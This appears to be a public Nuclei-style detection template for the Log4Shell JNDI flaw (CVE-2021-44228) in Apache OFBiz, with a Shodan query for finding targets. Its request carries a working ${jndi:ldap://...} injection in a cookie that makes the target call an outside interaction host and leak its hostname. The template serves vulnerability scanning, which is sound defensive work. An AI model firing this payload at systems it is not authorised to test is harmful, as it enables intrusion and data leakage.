apache-ofbiz-log4j-rce: Apache OFBiz - JNDI Remote Code Execution (Apache Log4j)

2025-08-01 apache-ofbiz-log4j PoC Public

Description

Apache OFBiz is affected by a remote code execution vulnerability in the bundled Apache Log4j logging library. Apache Log4j is vulnerable due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can exploit this, via a web request, to execute arbitrary code with the permission level of the running Java process.

PoC

id: apache-ofbiz-log4j-rce

info:
  name: Apache OFBiz - JNDI Remote Code Execution (Apache Log4j)
  author: pdteam
  severity: critical
  description: |
    Apache OFBiz is affected by a remote code execution vulnerability in the bundled Apache Log4j logging library. Apache Log4j is vulnerable due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can exploit this, via a web request, to execute arbitrary code with the permission level of the running Java process.
  remediation: Upgrade to Apache OFBiz version 8.12.03 or later.
  reference:
    - https://issues.apache.org/jira/browse/OFBIZ-12449
    - https://ofbiz.apache.org/
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-95
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: http.html:"Apache OFBiz"
    product: ofbiz
    vendor: apache
  tags: cve,cve2021,ofbiz,oast,log4j,rce,apache,jndi,kev,vuln
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'

http:
  - raw:
      - |
        GET /webtools/control/main HTTP/1.1
        Host: {{Hostname}}
        Cookie: OFBiz.Visitor=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookie.{{interactsh-url}}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

    extractors:
      - type: kval
        kval:
          - interactsh_ip

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4a0a00473045022100870d7fbbd76720673f5ec4a8a501e4f0dbfdd4ecea25ac7ccb32eff99c5079cf02206b762570e8707e7456e8faa2a7460fa7afa928407e09e9ebaf919a36ffde41dd:922c64590222798bb761d5b6d8e72950

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